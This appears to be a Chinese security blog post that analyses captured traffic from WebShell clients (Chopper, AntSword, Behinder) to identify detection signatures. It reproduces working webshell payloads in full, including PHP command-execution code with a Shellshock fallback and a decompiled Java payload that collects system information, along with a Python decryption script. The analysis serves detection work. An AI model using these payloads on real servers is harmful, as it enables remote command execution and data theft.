总字符数: 29.74K

代码: 22.58K, 文本: 2.37K

预计阅读时间: 1.81 小时

常用的WebShell客户端

  1. 中国菜刀(使用量最大,适用范围最广的WebShell客户端)
  2. 蚁剑(一种常用的WebShell客户端)
  3. 冰蝎(自定义加密流量客户端)
  4. 哥斯拉
  5. Weevely(kali中的加密客户端)

C刀

PHP类WebShell链接流量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /1.php HTTP/1.1
User-Agent: Java/1.8.0_181
Host: 192.168.232.130
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 735

nima=@eval.(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=Yzpcd3d3cm9vdFwxOTIuMTY4LjIzMi4xMzA%3D

# 进行URL解码后
@eval.(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=Yzpcd3d3cm9vdFwxOTIuMTY4LjIzMi4xMzA=

# 再次进行Base64_encode

action=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();

z1=c:\wwwroot\192.168.232.130

其中特征点有如下三部分

  1. “eval”,eval函数用于执行传递的攻击payload,这是必不可少的;
  2. (base64_decode($\_POST[action])),(base64_decode($_POST[action]))将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测;
  3. &z1=Yzpcd3d3cm9vdFwxOTIuMTY4LjIzMi4xMzA=,该部分是传递攻击payload,此参数z1对应$_POST[z1]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文

注:

  1. 有少数时候eval方法会被assert方法替代
  2. $_POST也会被_GET、$_REQUEST替代
  3. z1是菜刀默认的参数,这个地方也有可能被修改为其他参数名。

中国蚁剑(AntSword)

1
2
3
4
5
6
7
8
9
POST /wp-content/themes/twentytwenty/header.php HTTP/1.1
Host: 192.168.232.135:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 4124
Connection: close

a=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%222f95956%22%3Becho%20%40asenc(%24output)%3Becho%20%22aad7a6fedd4%22%3B%7Dob_start()%3Btry%7B%24p%3Dbase64_decode(substr(%24_POST%5B%22oba9958b61aab5%22%5D%2C2))%3B%24s%3Dbase64_decode(substr(%24_POST%5B%22x958c36f4a4706%22%5D%2C2))%3B%24envstr%3D%40base64_decode(substr(%24_POST%5B%22m33f4b7bc545c7%22%5D%2C2))%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24c%3Dsubstr(%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22-c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3Bif(substr(%24d%2C0%2C1)%3D%3D%22%2F%22)%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3A%2Fusr%2Flocal%2Fsbin%3A%2Fusr%2Flocal%2Fbin%3A%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin%22)%3B%7Delse%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3BC%3A%2FWindows%2Fsystem32%3BC%3A%2FWindows%2FSysWOW64%3BC%3A%2FWindows%3BC%3A%2FWindows%2FSystem32%2FWindowsPowerShell%2Fv1.0%2F%3B%22)%3B%7Dif(!empty(%24envstr))%7B%24envarr%3Dexplode(%22%7C%7C%7Casline%7C%7C%7C%22%2C%20%24envstr)%3Bforeach(%24envarr%20as%20%24v)%20%7Bif%20(!empty(%24v))%20%7B%40putenv(str_replace(%22%7C%7C%7Caskey%7C%7C%7C%22%2C%20%22%3D%22%2C%20%24v))%3B%7D%7D%7D%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe(%24f)%7B%24d%3Dexplode(%22%2C%22%2C%40ini_get(%22disable_functions%22))%3Bif(empty(%24d))%7B%24d%3Darray()%3B%7Delse%7B%24d%3Darray_map('trim'%2Carray_map('strtolower'%2C%24d))%3B%7Dreturn(function_exists(%24f)%26%26is_callable(%24f)%26%26!in_array(%24f%2C%24d))%3B%7D%3Bfunction%20runshellshock(%24d%2C%20%24c)%20%7Bif%20(substr(%24d%2C%200%2C%201)%20%3D%3D%20%22%2F%22%20%26%26%20fe('putenv')%20%26%26%20(fe('error_log')%20%7C%7C%20fe('mail')))%20%7Bif%20(strstr(readlink(%22%2Fbin%2Fsh%22)%2C%20%22bash%22)%20!%3D%20FALSE)%20%7B%24tmp%20%3D%20tempnam(sys_get_temp_dir()%2C%20'as')%3Bputenv(%22PHP_LOL%3D()%20%7B%20x%3B%20%7D%3B%20%24c%20%3E%24tmp%202%3E%261%22)%3Bif%20(fe('error_log'))%20%7Berror_log(%22a%22%2C%201)%3B%7D%20else%20%7Bmail(%22a%40127.0.0.1%22%2C%20%22%22%2C%20%22%22%2C%20%22-bv%22)%3B%7D%7D%20else%20%7Breturn%20False%3B%7D%24output%20%3D%20%40file_get_contents(%24tmp)%3B%40unlink(%24tmp)%3Bif%20(%24output%20!%3D%20%22%22)%20%7Bprint(%24output)%3Breturn%20True%3B%7D%7Dreturn%20False%3B%7D%3Bfunction%20runcmd(%24c)%7B%24ret%3D0%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(fe('system'))%7B%40system(%24c%2C%24ret)%3B%7Delseif(fe('passthru'))%7B%40passthru(%24c%2C%24ret)%3B%7Delseif(fe('shell_exec'))%7Bprint(%40shell_exec(%24c))%3B%7Delseif(fe('exec'))%7B%40exec(%24c%2C%24o%2C%24ret)%3Bprint(join(%22%0A%22%2C%24o))%3B%7Delseif(fe('popen'))%7B%24fp%3D%40popen(%24c%2C'r')%3Bwhile(!%40feof(%24fp))%7Bprint(%40fgets(%24fp%2C2048))%3B%7D%40pclose(%24fp)%3B%7Delseif(fe('proc_open'))%7B%24p%20%3D%20%40proc_open(%24c%2C%20array(1%20%3D%3E%20array('pipe'%2C%20'w')%2C%202%20%3D%3E%20array('pipe'%2C%20'w'))%2C%20%24io)%3Bwhile(!%40feof(%24io%5B1%5D))%7Bprint(%40fgets(%24io%5B1%5D%2C2048))%3B%7Dwhile(!%40feof(%24io%5B2%5D))%7Bprint(%40fgets(%24io%5B2%5D%2C2048))%3B%7D%40fclose(%24io%5B1%5D)%3B%40fclose(%24io%5B2%5D)%3B%40proc_close(%24p)%3B%7Delseif(fe('antsystem'))%7B%40antsystem(%24c)%3B%7Delseif(runshellshock(%24d%2C%20%24c))%20%7Breturn%20%24ret%3B%7Delseif(substr(%24d%2C0%2C1)!%3D%22%2F%22%20%26%26%20%40class_exists(%22COM%22))%7B%24w%3Dnew%20COM('WScript.shell')%3B%24e%3D%24w-%3Eexec(%24c)%3B%24so%3D%24e-%3EStdOut()%3B%24ret.%3D%24so-%3EReadAll()%3B%24se%3D%24e-%3EStdErr()%3B%24ret.%3D%24se-%3EReadAll()%3Bprint(%24ret)%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd(%24r.%22%202%3E%261%22)%3Bprint%20(%24ret!%3D0)%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&m33f4b7bc545c7=uS&oba9958b61aab5=3qY21k&x958c36f4a4706=CWY2QgL2QgImM6XFx3d3dyb290XFwxOTIuMTY4LjIzMi4xMzVcXHdwLWNvbnRlbnRcXHRoZW1lc1xcdHdlbnR5dHdlbnR5IiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0%3D

对上方进行URL解码后显示如下

1
2
a=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "2f95956";echo @asenc($output);echo "aad7a6fedd4";}ob_start();try{$p=base64_decode(substr($_POST["oba9958b61aab5"],2));$s=base64_decode(substr($_POST["x958c36f4a4706"],2));$envstr=@base64_decode(substr($_POST["m33f4b7bc545c7"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&m33f4b7bc545c7=uS&oba9958b61aab5=3qY21k&x958c36f4a4706=CWY2QgL2QgImM6XFx3d3dyb290XFwxOTIuMTY4LjIzMi4xMzVcXHdwLWNvbnRlbnRcXHRoZW1lc1xcdHdlbnR5dHdlbnR5IiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0=

通过上方可分析出蚁剑通过POST接收了三个参数

  1. oba9958b61aab5
  2. x958c36f4a4706
  3. m33f4b7bc545c7
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#先提取出第一个参数的值也就是a的值
<?php
@ini_set("display_errors", "0"); // 关闭错误显示
@set_time_limit(0); // 设置脚本最大执行时间为无限

// 定义 asenc 函数,直接返回输入的内容
function asenc($out) {
return $out;
};

// 定义 asoutput 函数,输出结果并添加前后缀
function asoutput() {
$output = ob_get_contents(); // 获取输出缓冲区的内容
ob_end_clean(); // 清空缓冲区并关闭
echo "2f95956"; // 输出前缀
echo @asenc($output); // 安全地调用 asenc 函数
echo "aad7a6fedd4"; // 输出后缀
}

ob_start(); // 启动输出缓冲区

try {
// 解码 POST 请求中的数据
$p = base64_decode(substr($_POST["oba9958b61aab5"], 2)); // 解码第一个参数
$s = base64_decode(substr($_POST["x958c36f4a4706"], 2)); // 解码第二个参数
$envstr = @base64_decode(substr($_POST["m33f4b7bc545c7"], 2)); // 解码环境变量字符串

$d = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取当前脚本所在目录
// 根据操作系统决定命令参数格式
$c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";

// 设置环境变量路径
if (substr($d, 0, 1) == "/") {
@putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/");
}

// 如果环境变量字符串不为空,设置环境变量
if (!empty($envstr)) {
$envarr = explode("|||asline|||", $envstr); // 根据分隔符分割环境变量
foreach ($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v)); // 设置环境变量
}
}
}

$r = "{$p} {$c}"; // 构建命令

// 检查函数是否可用
function fe($f) {
$d = explode(",", @ini_get("disable_functions")); // 获取禁用的函数列表
if (empty($d)) {
$d = array();
} else {
$d = array_map('trim', array_map('strtolower', $d)); // 清洗函数名
}
return (function_exists($f) && is_callable($f) && !in_array($f, $d)); // 检查函数是否可用
};

// 处理 Shellshock 漏洞
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) { // 检查是否为 bash
$tmp = tempnam(sys_get_temp_dir(), 'as'); // 创建临时文件
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1"); // 设置环境变量触发漏洞
if (fe('error_log')) {
error_log("a", 1); // 触发 error_log
} else {
mail("a@127.0.0.1", "", "", "-bv"); // 发送邮件
}
} else {
return False; // 如果不是 bash,返回 False
}
$output = @file_get_contents($tmp); // 获取输出
unlink($tmp); // 删除临时文件
if ($output != "") {
print($output); // 输出结果
return True; // 返回 True
}
}
return False; // 返回 False
};

// 执行命令
function runcmd($c) {
$ret = 0; // 初始化返回值
$d = dirname($_SERVER["SCRIPT_FILENAME"]); // 获取脚本目录
// 根据可用函数执行命令
if (fe('system')) {
@system($c, $ret);
} elseif (fe('passthru')) {
@passthru($c, $ret);
} elseif (fe('shell_exec')) {
print(@shell_exec($c)); // 执行 shell 命令
} elseif (fe('exec')) {
@exec($c, $o, $ret);
print(join("", $o)); // 输出命令结果
} elseif (fe('popen')) {
$fp = @popen($c, 'r'); // 打开进程
while (!@feof($fp)) {
print(@fgets($fp, 2048)); // 输出读取内容
}
pclose($fp); // 关闭进程
} elseif (fe('proc_open')) {
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while (!@feof($io[1])) {
print(@fgets($io[1], 2048)); // 输出标准输出
}
while (!@feof($io[2])) {
print(@fgets($io[2], 2048)); // 输出标准错误
}
fclose($io[1]); // 关闭输出管道
fclose($io[2]); // 关闭错误管道
proc_close($p); // 关闭进程
} elseif (fe('antsystem')) {
@antsystem($c); // 调用 antsystem 函数(如果存在)
} elseif (runshellshock($d, $c)) {
return $ret; // 如果执行成功,返回结果
} elseif (substr($d, 0, 1) != " / " && @class_exists("COM ")) {
$w = new COM('WScript.shell'); // 使用 COM 对象执行命令(仅限 Windows)
$e = $w->exec($c);
$so = $e->StdOut(); // 获取标准输出
$ret .= $so->ReadAll(); // 读取所有输出
$se = $e->StdErr(); // 获取标准错误
$ret .= $se->ReadAll(); // 读取所有错误
print($ret); // 输出结果
} else {
$ret = 127; // 返回默认错误代码
}
return $ret; // 返回执行结果
};

// 执行构建的命令并输出返回值
$ret = @runcmd($r . " 2>&1 ");
print($ret != 0) ? "ret = {$ret}" : ""; // 如果有返回值,则打印
} catch (Exception $e) {
echo "ERROR: //" . $e->getMessage(); // 捕获异常并输出错误信息
};

asoutput(); // 调用 asoutput 函数输出结果
die(); // 终止脚本

可以发现其实就是Webshell的功能实现.然后找到剩下的三个值后,将前面两个字符删除,因为上方代码中有substr函数

1
cd /d "c:\\wwwroot\\192.168.232.135\\wp-content\\themes\\twentytwenty"&whoami&echo [S]&cd&echo [E]

蚁剑绕过特征流量
由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以_0x......=这种形式(下划线可替换为其他).所以,以_0x开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征

冰蝎

冰蝎 V2

  1. 当冰蝎第一次访问服务器webshell时,以GET方式提交随机数字,因此服务器将会生成16位的随机字符串,写入session后通过print函数将密钥返回客户端
  2. 冰蝎第二次访问服务器时以相同方式更新密钥
  3. 经过一次密钥产生与一次密钥更新后,双方开始以对称密钥进行加密通信,首先是冰蝎向服务器发送加密数据,而解密函数在webshell中
  4. 以下是实际冰蝎的攻击Payload

jspShell

来源:黑伞安全
解密代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#coding:utf-8
import base64
#注:python3 安装 Crypto 是 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pycryptodome
from Crypto.Cipher import AES
import binascii
import json
#解密
def aes_decode(data, key):
try:
aes = AES.new(str.encode(key), AES.MODE_ECB) # 初始化加密器
decrypted_text = aes.decrypt(data) # 解密
decrypted_text = decrypted_text[:-(decrypted_text[-1])] # 去除多余补位
except Exception as e:
print(e)
return decrypted_text

if __name__ == '__main__':
key = 'bff6f68a478bdab2' # 密钥长度必须为16、24或32位,分别对应AES-128、AES-192和AES-256
data = """jsp请求的流量"""
data = base64.b64decode(data)
a = aes_decode(data,key)
open('1.class', 'wb').write(a)
print(a)

对上方冰蝎V2 jsp请求流量解密后自动保存为class文件,即可使用jadx进行反编译得到原来的Class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
package net.rebeyond.behinder.payload.java;

import java.io.File;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
import java.util.Set;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletOutputStream;
import javax.servlet.jsp.PageContext;

/* loaded from: 1.class */
public class BasicInfo {
public boolean equals(Object obj) {
PageContext page = (PageContext) obj;
// 设置响应的编码
page.getResponse().setCharacterEncoding("UTF-8");
try {
StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
Map<String, String> env = System.getenv();
for (String name : env.keySet()) {
basicInfo.append(String.valueOf(name) + "=" + env.get(name) + "<br/>");
}
basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
// 获取系统属性
Properties props = System.getProperties();
Set<Map.Entry<Object, Object>> entrySet = props.entrySet();
for (Map.Entry<Object, Object> entry : entrySet) {
// 添加到Entry里面
basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
}
// 返回文件的绝对路径,如果构造的时候是全路径就直接返回全路径,如果构造时是相对路径,就返回当前目录的路径 + 构造 File 对象时的路径
String currentPath = new File("").getAbsolutePath();
String driveList = "";
// File.listRoots():返回所有可用文件 System root 的根目录
File[] roots = File.listRoots();
for (File f : roots) {
driveList = String.valueOf(driveList) + f.getPath() + ";";
}
// 获取系统版本
String osInfo = String.valueOf(System.getProperty("os.name")) + System.getProperty("os.version") + System.getProperty("os.arch");
// 创建Entity
Map<String, String> entity = new HashMap<>();
// 将基本信息转换为字符串
entity.put("basicInfo", basicInfo.toString());
// 当前路径
entity.put("currentPath", currentPath);
// 盘符
entity.put("driveList", driveList);
// 系统基本信息
entity.put("osInfo", osInfo);
// 将上面构造好的entity转换为json对象
String result = buildJson(entity, true);
// 将session中获取的key转换为字符串
String key = page.getSession().getAttribute("u").toString();
// 拿到页面响应并构造输出
ServletOutputStream so = page.getResponse().getOutputStream();
// 获取构造好的json对象的字节流,并加密,Key为session中的key
so.write(Encrypt(result.getBytes(), key));
// 刷新
so.flush();
// 关闭so对象
so.close();
// 清除页面输出
page.getOut().clear();
return true;
} catch (Exception e) {
// 输出异常错误
e.printStackTrace();
return true;
}
}
// 加密函数
public static byte[] Encrypt(byte[] bs, String key) throws Exception {
// getBytes()方法将 String编码为字节序列并返回一个字节数组. 其中 charsetName是将String 编码为字节数组的特定字符集
byte[] raw = key.getBytes("utf-8");
// 此类以独立于提供者的方式指定密钥. 它可用于从字节数组构造SecretKey,而无需通过(基于提供程序的) SecretKeyFactory.此类仅对可以表示为字节数组且没有与之关联的关键参数的原始密钥有用,例如DES或Triple DES密钥
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
// 参数按"AES/无向量模式/填充模式
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
/* init(int opmode, Key key, AlgorithmParameterSpec params)
1. opmode:Cipher.ENCRYPT_MODE(加密模式)和Cipher.DECRYPT_MODE(解密模式)
2. key:密匙,使用传入的盐构造出一个密匙,可以使用SecretKeySpec、KeyGenerator和KeyPairGenerator创建密匙,其中
SecretKeySpec和KeyGenerator支持AES,DES,DESede三种加密算法创建密匙
KeyPairGenerator支持RSA加密算法创建密匙
3. params:使用CBC模式时必须传入该参数,该项目使用IvParameterSpec创建iv对象
*/
cipher.init(1, skeySpec);
/*
byte[] b = cipher.doFinal(content);
返回结果为byte数组,如果直接使用 new String(b) 封装成字符串,则会出现乱码
*/
byte[] encrypted = cipher.doFinal(bs);
return encrypted;
}

private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
for (String key : entity.keySet()) {
sb.append("\"" + key + "\":\"");
String value = entity.get(key).toString();
if (encode) {
if (version.compareTo("1.9") >= 0) {
getClass();
Class Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
// 反射
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
getClass();
Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", "");
}
}
sb.append(value);
sb.append("\",");
}
sb.setLength(sb.length() - 1);
sb.append("}");
return sb.toString();
}
}

可以看到上方主要是用来获取系统的相关信息,由于运行环境不同,得到的内容也是不同的

冰蝎 V3

  1. 3.0 相比 2.0 少了动态密钥的获取的请求,aes 密钥变为 md5(“pass”)[0:16]意思为连接密码 32 位 md5 的前 16 位.全程不再交互密钥生成,一共就俩次请求,第一次请求为判断是否可以建立连接,少了俩次 get 获取冰蝎动态密钥的行为,第二次发送 phpinfo 等代码执行,获取网站的信息

    流量如下:

    1
    3Mn1yNMtoZViV5wotQHPJm7cRWHP6PMjLILVEpbUrN5WygKtUlR1wc6m8iE0QldYndLR6CH9DkVGDfNGbcbZArXlTbtxbcpm6CDLz8JmasJMTHPfs5LJYbsmE1SdHnzX/L/c5WCtBWZCPst6iR922OJMWWJz3MYiXa8NWiM+q/gW4mM0vo4Vp3GtqL3zAtg4Ny+yZsg3XYKcWEEBjG1IiIJEK9wsdtLWqWJ6sAGqBWpMj1edM3Jy3JBodKl2ugrI4u7BBBH4LCTR6i5kqb8FQAf8jO4datclORtvUbGYKS+rAB/AhhELUgQAVFBnnx83Fv9sBBH8UPDPWqKFz6Uv5S0O1ehX5YLuzWFfWtV/0Y3APZBlXbLl5DREROyUlYsFmcbiOtHaa5rThPRn5IgN79Hg+gHwU664YKpkoK9qVPypL+CZGtFSlZAD4AXYQEqjjCvpO61SfneYWVV7K95+gvbTPqh++QvKaOlB1ecM+jPH6AZO6Kl/QTeMMfM7iHTkL2Kp1zcz/zJJpRDvy6wP19/I7OMBUdwun93vNUdczFtVcg505ldo/qRwPmAYXyhsAGsCgayJBAyrNDwNthsjiwA8qft4X2+PCYpEERUCsuYTG0jhpyAWaOLH95gNfmC1J0qA/KwCjZf18nRyQDOAjptyd4GuJk1tPvHhbKR3fIyHNQHMtw98rGMCUXtE942mLJD6LDEuzseurjtP+wwfWmEfSDFukpa0Mi66v0zBf0CpippwJh2a0QDkfYTjMIzx9OwVwaOgBGNNRYePuaNmV47Lu8CzScxQSMPE8yP7xeMofwoSx7asaGlcox/eR/lLC6Ks3tO1V8PAXFYZMS90xZ0e02WX4/7zZiNPVAyBS0cf8BXg0I9aa7miC1YAd8WgEIrDqeTOx1R4sypfp9+ShTBP9rnQYgQL2aiCOOhU+munVi+qbVLsOx2B1NijeybeI6asy2HX56Ce6uVGFN8c+dhQjn9ZSoqND+MCW+kIafb71NvjUifG2LpZETLx9kFuxgPvfECjmuLv2vKtAzcPBQddfD6NMyWm/FnaVR+cAotskLvv9cNn329NxRbVlTbtlzOu5uAy20fXeR9OpmNW5MZHcDODctKee80rFQE7X7WyobtfdtozSjer5Nco0qTlwbJiuWI82Ih/VDT0Tmg8vWMRMPFXyyOBQLuNuMQpS7TEOVgTx572n9Z3YAFtks9ssmABtmevLQIBoGC9FmDqCTjWFoIpJI3MKYMrDAlhW3NvDG09BUzh2v1ouBm6WgiG2lsfGkpnnWv9jhVW1O7901m+1INddkoOfqcyGTrlM0/9hjg79xQxctTWs2TdnNNMMB/G14aQ752DgHO1OajiHCJAh+EXcxEkh9WgbU4qtAnSo8gna84BOXP5IJqsV/FI5BAlIzZgO0SRep9C1XkPOqj15n9D8FSQzf7xssWhX5XeSqdvQSqnrhydDuENt+5rycHg61bjgHT/XaKS8feisJ2IsyHqr0pTji8XCAZf1nXr5d+VRaVzauwDUu0+u0AQ1zDw6Mb22g05XjTyyr4ZO1QbbrF6dOKNTh7d0epaz4I9nUV+etZK3VIAJV1s+InNfLDH5fJEyVhzTTjqw3mN